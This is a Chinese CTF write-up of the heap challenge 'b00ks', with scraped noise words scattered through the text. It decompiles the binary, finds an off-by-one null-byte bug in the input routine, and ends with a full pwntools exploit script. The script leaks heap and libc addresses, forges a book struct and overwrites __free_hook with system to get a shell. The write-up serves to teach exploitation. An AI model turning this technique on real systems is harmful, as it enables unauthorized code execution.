首先checksec查看程序的保护机制,能够看到除了canary其余保护都开启了。
linux
其次运行程序,先观察一下程序大体流程,方便后面的代码分析。
这里咱们能够看到,这是一个菜单题,总共有5个功能,分别是增长book、删除book、修改book的description、输出book的详细信息以及修改做者名字。
shell
而后用ida64打开对应的二进制文件,经过前面的分析,把主函数调用的各个函数从新命名一下, 方便咱们记忆。数组
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { struct _IO_FILE *v3; // rdi __int64 savedregs; // [rsp+20h] [rbp+0h] setvbuf(stdout, 0LL, 2, 0LL); v3 = stdin; setvbuf(stdin, 0LL, 1, 0LL); sub_A77(v3, 0LL); change_name(); while ( menu(v3) != 6 ) { switch ( &savedregs ) { case 1u: create(); break; case 2u: delete(); break; case 3u: edit(); break; case 4u: show(); break; case 5u: change_name(); break; default: v3 = "Wrong option"; puts("Wrong option"); break; } } puts("Thanks to use our library software"); return 0LL; }
咱们一个一个函数分析,首先看create函数,这个函数用来建立一个book,每个book共包含了id变量、name指针、des指针、size变量。
这里笔者只取了部分代码:数据结构
if ( struct_ptr ) { *(struct_ptr + 6) = size; *(off_202010 + id) = struct_ptr; *(struct_ptr + 2) = des_ptr; *(struct_ptr + 1) = name_ptr; *struct_ptr = ++unk_202024; return 0LL; }
注意:这里的off_202010
应该是一个结构体指针数组,off_202010+1
就是数组第二个元素的地址,*(off_202010+1)
就是数组第二个元素的值。
而后根据上面的代码,能够发现这个数组里面存储的都是结构体指针,而后每一个结构体指针指向一个结构体,结构体有对应的id、name_ptr、des_ptr、size。
函数
再来看delete函数,它用来删除指定id的book实例,代码以下:debug
signed __int64 delete() { int v1; // [rsp+8h] [rbp-8h] int i; // [rsp+Ch] [rbp-4h] i = 0; printf("Enter the book id you want to delete: "); __isoc99_scanf("%d", &v1); if ( v1 > 0 ) { for ( i = 0; i <= 19 && (!*(off_202010 + i) || **(off_202010 + i) != v1); ++i ) ; if ( i != 20 ) { free(*(*(off_202010 + i) + 8LL)); free(*(*(off_202010 + i) + 16LL)); free(*(off_202010 + i)); *(off_202010 + i) = 0LL; return 0LL; } printf("Can't find selected book!", &v1); } else { printf("Wrong id", &v1); } return 1LL; }
根据上面的代码,咱们发现delete功能会先遍历数组元素,查看指定id的元素是否能够删除,能够的话就依次free掉name_ptr、des_ptr和id,而后把数组对应位置清零。3d
再来看edit函数,这个函数用来修改指定book的description:指针
printf("Enter the book id you want to edit: "); __isoc99_scanf("%d", &v1); if ( v1 > 0 ) { for ( i = 0; i <= 19 && (!*(off_202010 + i) || **(off_202010 + i) != v1); ++i ) ; if ( i == 20 ) { printf("Can't find selected book!", &v1); } else { printf("Enter new book description: ", &v1); if ( !my_gets(*(*(off_202010 + i) + 16LL), *(*(off_202010 + i) + 24LL) - 1) ) return 0LL; printf("Unable to read new description"); } }
咱们发现edit是经过一个做者本身定义的my_gets函数(这里是笔者本身改的名字)来获取用户的输入而且写入指定的缓冲区,好比这里就是写入*(*(off_202010 + i) + 16LL)
,根据前面的分析也就是写入第i本书的description部分,大小为*(*(off_202010 + i) + 24LL) - 1
,也就是description_size-1。
在分析下一个函数以前,咱们先来看一下这个自定义的my_gets函数:code
signed __int64 __fastcall my_gets(_BYTE *ptr, int size) { int i; // [rsp+14h] [rbp-Ch] _BYTE *buf; // [rsp+18h] [rbp-8h] if ( size <= 0 ) return 0LL; buf = ptr; for ( i = 0; ; ++i ) { if ( read(0, buf, 1uLL) != 1 ) return 1LL; if ( *buf == '\n' ) break; ++buf; if ( i == size ) break; } *buf = 0; return 0LL; }
注意:仔细分析一下这里的代码,就会发现倒数第3行的*buf = 0;
会形成空字节溢出,当用户输入字符数≥size时,跳出for循环,这时*buf指针因为在循环中执行过++buf
,那么*buf=0就会在缓冲区溢出1字节的地方置零。
再来看show函数,这个函数主要是把每一个book结构体的内容输出出来:blog
if ( v0 ) { printf("ID: %d\n", **(off_202010 + i)); printf("Name: %s\n", *(*(off_202010 + i) + 8LL)); printf("Description: %s\n", *(*(off_202010 + i) + 16LL)); LODWORD(v0) = printf("Author: %s\n", off_202018); }
这里能够比较清晰地看到id、name、description以及author_name分别在什么位置。
最后是change_name函数,这是调用了my_gets来修改author_name的函数,实现比较简单:
signed __int64 change_name() { printf("Enter author name: "); if ( !my_gets(off_202018, 32) ) return 0LL; printf("fail to read author_name", 32LL); return 1LL; }
到此为止整个程序的流程就大体分析完毕了。
首先,咱们验证一下在my_gets函数中发现的可能存在的单空字节溢出的问题,稍微注意看每一个调用my_gets函数的地方就会发现,只有在调用change_name的时候,my_gets的第二个参数(也就是size)是没有“-1”的,这也就是说change_name的时候咱们能够把buf填满,而后就会溢出一个0字节。
Talk is cheap,咱们先看把author_name填满0x20字节,而且建立2个book时,内存的分布状况:
set_author_name('A'*0x20) create(0x20,'AAAA',0x1000,'BBBB') create(0x20,'CCCC',0x21000,'DDDD')
这里可能会有疑问:不是说会溢出一个空字节吗?这里没有看到的缘由是咱们先调用change_name,的确溢出了一个空字节;可是咱们又调用了create建立了book1,book1_ptr把\x00这个字节给覆盖掉了而已。
不信的话,咱们在建立book以后再调用一次change_name,观察内存状况:
set_author_name('A'*0x20) create(0x20,'AAAA',0x1000,'BBBB') create(0x20,'CCCC',0x21000,'DDDD') change('A'*0x20)
如此一来,就验证了change_name这个函数是存在off-by-one漏洞的。
book2_name = book1_addr+0x68
、book2_des = book1_addr+0x70
,这样咱们就获取到了存放book2_name_ptr和book2_des_ptr这两个指针的地址。# coding: utf-8 from pwn import * context.terminal = ['tmux', 'splitw', '-h'] context(os='linux', arch='amd64', log_level='debug') io = process('./b00ks') libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so') def set_author_name(name): io.sendlineafter('Enter author name: ', name) def create(name_size, book_name, des_size, book_des): io.sendlineafter('>','1') io.sendlineafter('name size: ', str(name_size)) io.sendlineafter('name (Max 32 chars):', book_name) io.sendlineafter('description size: ', str(des_size)) io.sendlineafter('description:', book_des) def delete_book(book_id): io.sendlineafter('>','2') io.sendlineafter('Enter the book id you want to delete:',str(book_id)) def edit(book_id, book_des): io.sendlineafter('>','3') io.sendlineafter('Enter the book id you want to edit:', str(book_id)) io.sendlineafter('Enter new book description:', book_des) def show(): io.sendlineafter('>','4') def change(name): io.sendlineafter('>','5') io.sendlineafter('Enter author name:', name) set_author_name('A'*0x20) create(0x20,'AAAA',0x1000,'BBBB') create(0x20,'CCCC',0x21000,'DDDD') show() io.recvuntil('Author: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') book1_addr = u64(io.recv(6).ljust(8,b'\x00')) log.success('book1_address='+hex(book1_addr)) book2_name = book1_addr+0x68 book2_des = book1_addr+0x70 edit(1, b'B'*0xf20+p64(1)+p64(book2_des)+p64(book2_name)+p64(0xffff)) change('A'*0x20) show() io.recvuntil('Name: ') book2_des_addr=u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) io.recvuntil('Description: ') book2_name_addr=u64(io.recvuntil(b'\n',drop=True).ljust(8,b'\x00')) log.success('book2_name_addr='+hex(book2_name_addr)) log.success('book2_des_addr='+hex(book2_des_addr)) # 查看vmmap查看heap下面一行的地址,用book2_des_addr减掉它获得book2_des_addr与libc基址的固定偏移量,下次运行地址变了,用book2_des_addr减去偏移就是libc_base offset=0x10 libc_base = book2_des_addr-offset system_addr = libc_base + libc.symbols['system'] free_hook_addr = libc_base + libc.symbols['__free_hook'] binsh = libc_base + next(libc.search(b"/bin/sh")) log.success('sys_addr = '+hex(system_addr)) log.success('free_hook_addr = '+hex(free_hook_addr)) log.success('bin_addr = '+hex(binsh)) log.success('offset='+hex(offset)) edit(1,p64(binsh)+p64(free_hook_addr)) edit(2,p64(system_addr)) delete_book(2) #gdb.attach(io) #pause() io.interactive()
这个题目作了挺久,收获到了一些比较有用的知识点,好比gdb使用search查询字符串地址、mmap分配的地址和vmmap查看的地址相减得到固定偏移等等。 感受须要对结构体指针数组这个数据结构更加敏感一些,这样可以更快理清程序结构。 还有就是关于堆溢出的getshell的理解,以目前作的题来讲,都是经过构造一个fake_chunk来控制某个指针,当可以任意修改指针以后,再修改指针的内容,好比这里修改指针为__free_hook,修改指针内容为system_addr。